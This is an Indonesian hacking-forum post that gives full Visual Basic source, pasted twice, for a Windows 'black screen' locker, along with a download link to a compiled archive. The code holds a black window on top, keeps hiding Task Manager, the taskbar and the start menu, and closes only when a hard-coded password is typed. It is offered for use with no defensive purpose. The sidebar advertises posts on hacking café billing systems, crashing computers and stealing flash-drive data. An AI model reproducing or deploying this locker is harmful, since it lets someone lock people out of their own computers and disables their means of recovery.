Tukeran Link !!!
Latest topics
User Yang Sedang Online
Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu Tidak ada
User online terbanyak adalah 20 pada Wed Oct 11, 2023 7:25 pm
Kotak Komentar
Black Screen Windows
Halaman 1 dari 1
Black Screen Windows
source code Black screen windows
============================================================
Option Explicit
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long
Private Sub Form_Load()
Timer1.Interval = 1
Me.BackColor = vbBlack
Text1.BackColor = vbBlack
Text1.ForeColor = vbGreen
Text1.Left = Screen.Width - Text1.Width
Text1.Top = Screen.Height - Text1.Height
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim H As Long
Timer1.Enabled = False
H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 1
H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 1
' ShowCursor True
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If UCase(Text1.Text) = "BMB 100% GORONTALO" Then
Unload Me
Else
Text1 = ""
End If
KeyAscii = 0
End If
End Sub
Private Sub Timer1_Timer()
BringWindowToTop Me.hwnd
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
Dim H As Long
H = FindWindow("#32770", "Windows Task Manager")
If H Then ShowWindow H, 0
H = FindWindow("#32771", vbNullString)
If H Then ShowWindow H, 0
H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 0
H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 0
Rem ShowCursor False 'Jika anda mau menghilangkan cursor, hapus kata REM pada baris ini
Putfocus Text1.hwnd
End Sub
================================================================
klo masih bingung dan blum ngerti langsung downloads saja ...
http://www.ziddu.com/download/9334864/blackLOCKscreenWindows.rar.html
============================================================
Option Explicit
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long
Private Sub Form_Load()
Timer1.Interval = 1
Me.BackColor = vbBlack
Text1.BackColor = vbBlack
Text1.ForeColor = vbGreen
Text1.Left = Screen.Width - Text1.Width
Text1.Top = Screen.Height - Text1.Height
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim H As Long
Timer1.Enabled = False
H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 1
H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 1
' ShowCursor True
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If UCase(Text1.Text) = "BMB 100% GORONTALO" Then
Unload Me
Else
Text1 = ""
End If
KeyAscii = 0
End If
End Sub
Private Sub Timer1_Timer()
BringWindowToTop Me.hwnd
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
Dim H As Long
H = FindWindow("#32770", "Windows Task Manager")
If H Then ShowWindow H, 0
H = FindWindow("#32771", vbNullString)
If H Then ShowWindow H, 0
H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 0
H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 0
Rem ShowCursor False 'Jika anda mau menghilangkan cursor, hapus kata REM pada baris ini
Putfocus Text1.hwnd
End Sub
================================================================
klo masih bingung dan blum ngerti langsung downloads saja ...
http://www.ziddu.com/download/9334864/blackLOCKscreenWindows.rar.html
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik
|
|
Sun Apr 03, 2011 2:27 am by not
» Cara Menghack Billing Explorer Warnet
Thu Apr 22, 2010 1:11 am by admin
» Cara bikin Hang/heng/hank/henk Komputer !!!
Wed Apr 07, 2010 6:37 pm by admin
» thumbSUCK Aplikasi Pencuri data dari Flashdisk Orang lain
Wed Apr 07, 2010 6:35 pm by admin
» Tutorial Belajar MS.PowerPoint
Wed Apr 07, 2010 6:18 pm by admin
» Tutorial Merakit Komputer
Wed Apr 07, 2010 6:16 pm by admin
» Know How Programming !!!
Wed Apr 07, 2010 6:12 pm by admin
» Cara Mengacaukan Kursor Mouse
Wed Apr 07, 2010 6:10 pm by admin
» Black Screen Windows
Wed Apr 07, 2010 6:08 pm by admin